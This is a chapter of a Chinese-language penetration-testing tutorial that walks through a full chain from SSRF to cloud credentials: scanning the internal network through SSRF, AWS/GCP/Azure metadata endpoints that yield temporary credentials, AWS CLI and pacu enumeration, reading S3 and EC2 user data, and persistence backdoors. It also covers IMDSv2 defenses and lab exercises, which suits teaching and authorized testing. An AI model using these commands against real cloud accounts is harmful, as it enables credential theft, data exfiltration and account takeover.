第 68 章 SSRF 到云凭证的完整利用链
SSRF(第 58.4)只是起点。现代云环境中,SSRF 的最高价值利用路径是:内网探测 → 云元数据 → 临时凭证 → 云资源接管。本章把这条链完整展开——从发现 SSRF 到拿下整个云账户。
📍 知识点地图 | 主题:SSRF云凭证 | 前置:第58/87章 | 后续:— | 核心概念:内网探测、元数据、STS凭证、pacu
68.1 完整利用链总览
发现 SSRF
↓
Step 1: 确认可控性(能请求任意 URL?)
↓
Step 2: 内网探测(云内网网段/服务)
↓
Step 3: 云元数据访问(169.254.169.254 等)
↓
Step 4: 获取临时凭证(IAM Role 的 STS 凭证)
↓
Step 5: 凭证验证与权限枚举(aws cli / 云 API)
↓
Step 6: 云资源接管(数据/计算/横向)
↓
Step 7: 持久化(创建后门/密钥/用户)
68.2 Step 1-2: 内网探测(从 SSRF 到"眼睛")
探测范围
云内网网段:
AWS: 169.254.169.254(元数据)/ 10.0.0.0/8(VPC)
GCP: metadata.google.internal / 10.128.0.0/9
Azure: 169.254.169.254(元数据)/ 10.0.0.0/8
Kubernetes: 10.96.0.0/12(Service)/ ClusterIP
探测目标:
□ 内部管理接口(数据库/Redis/ES)
□ 其他服务(微服务/内部 API)
□ 云元数据(重点!)
探测方法
# 单个目标探测
http://169.254.169.254/latest/meta-data/
# 批量端口扫描(通过 SSRF)
# 工具: 自写脚本逐端口请求,观察响应差异
# 或 ssrfscan/SSRFmap 等自动化工具
python ssrfmap.py -r request.txt -p 80,443,8080,6379,3306
响应差异判断
□ 200 + 内容 → 服务存在
□ 403/404 → 存在但无权限/无路径
□ 连接超时 → 端口开放但无 HTTP
□ 立即拒绝 → 端口关闭
68.3 Step 3: 云元数据服务(核心目标)
三大云元数据端点
AWS(IMDSv1,最经典):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
→ 直接返回 AccessKeyId + SecretAccessKey + Token!
GCP:
http://metadata.google.internal/computeMetadata/v1/
(需要头: Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
→ 返回 OAuth Token
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
(需要头: Metadata: true)
http://169.254.169.254/metadata/identity/oauth2/token?resource=...
→ 返回 Managed Identity Token
响应内容(AWS 示例)
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "....",
"Token": "IQoJb3JpZ2luX2Vj...",
"Expiration": "2026-01-01T00:00:00Z"
}
拿到这个 = 拿到该 EC2/容器绑定的 IAM 角色身份。
68.4 Step 4-5: 凭证验证与权限枚举
# 配置临时凭证
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 1. 验证身份(Who am I)
aws sts get-caller-identity
# 2. 枚举权限(能干什么)
aws iam list-attached-user-policies --user-name <name>
aws iam list-user-policies --user-name <name>
aws iam list-attached-role-policies --role-name <role>
# 或用 pacu(AWS 渗透框架)自动枚举
pacu -n attack
pacu > run iam__enum_users_roles_policies
# 3. 常用权限探测
aws s3 ls # 存储桶
aws ec2 describe-instances # 计算资源
aws secretsmanager list-secrets
aws ssm describe-parameters # 参数(可能有密钥)
aws lambda list-functions
权限枚举后的选型(按凭证权限)
□ S3 权限 → 列出/读取存储桶(数据泄露)
□ EC2 权限 → 读取用户数据(可能含密钥)
□ SecretsManager → 拿密钥
□ IAM 管理权限 → 创建新用户/加权限(持久化)
□ Lambda → 创建恶意函数
□ 全权限 → 接管整个账户
68.5 Step 6: 云资源接管(高价值利用)
S3 数据泄露(最常见)
aws s3 ls
aws s3 ls s3://<bucket> --recursive
aws s3 cp s3://<bucket>/secret.txt ./
# 关键桶: 备份/数据库导出/日志/代码
EC2 用户数据(启动脚本含密钥)
aws ec2 describe-instances
aws ec2 describe-instance-attribute --instance-id <id> --attribute userData
# 启动脚本常含: 数据库密码/API key/初始化脚本
横向(云内移动)
□ 通过 EC2 获取更多元数据凭证(跳到别的实例角色)
□ SSRF 打内网其他服务(Redis/数据库)
□ 云凭证 → 内部 API → 业务数据
□ VPC 内网 → 其他服务
68.6 Step 7: 持久化(云侧后门)
□ IAM: 创建管理员用户/给现有用户加权限
□ S3: 修改策略开放桶
□ Lambda: 创建触发式后门函数
□ EC2: 修改安全组/创建新实例
□ 托管密钥: 备份/导出 KMS 密钥
□ 云账户关联: 添加外部身份(AWS Organizations)
68.7 防护视角(IMDSv2 等)
□ IMDSv2(AWS): 强制 token 会话(需 PUT 获取 token → 阻止简单 SSRF 读取)
但: 部分配置可降级回 IMDSv1(攻击者仍可能)
□ 元数据防火墙: 网络层阻止
□ 最小 IAM 权限: 角色权限收敛
□ 网络隔离: SSRF 入口与元数据隔离
□ 监控: 元数据访问告警/凭证异常使用
68.8 完整测试检查清单
□ SSRF 发现与可控性确认
□ 内网探测(网段/端口/服务)
□ 元数据端点探测(AWS/GCP/Azure)
□ 凭证获取(IAM 角色/托管身份)
□ 身份验证(get-caller-identity)
□ 权限枚举(pacu/iam 枚举)
□ 高价值资源访问(S3/Secrets/用户数据)
□ 横向路径评估
□ 持久化评估(点到即止)
□ 报告: 完整利用链 + 每步证据
动手练习
- 在本地搭一个模拟元数据服务(返回假凭证),用一个模拟 SSRF 应用打完整条链。
- 用 pacu 对一个练习 AWS 环境(或 LocalStack)做权限枚举,理解"拿到凭证后第一步"。
- 读一份公开的"SSRF 到云接管"攻击报告(AWS 常见),画出它的七步利用链。
- 练习 IMDSv2 与 v1 的差异:构造能访问 v1 但不能访问 v2 的场景,理解防护原理。
深入阅读
- 仓库:
CTF-Sandbox-Orchestrator/competition-ssrf-metadata-pivot/(SSRF 元数据 CTF) - 仓库:
CTF-Sandbox-Orchestrator/competition-cloud-metadata-path/(云元数据路径) - 仓库:
CTF-Sandbox-Orchestrator/competition-agent-cloud/(Agent+云) - 仓库:
skills/pentest-tools/references/web-attack-cheatsheet.md(SSRF 基础) - 实战案例:
skills/field-journal/seed-006_ssrf-cloud-metadata.md(SSRF 云元数据实战)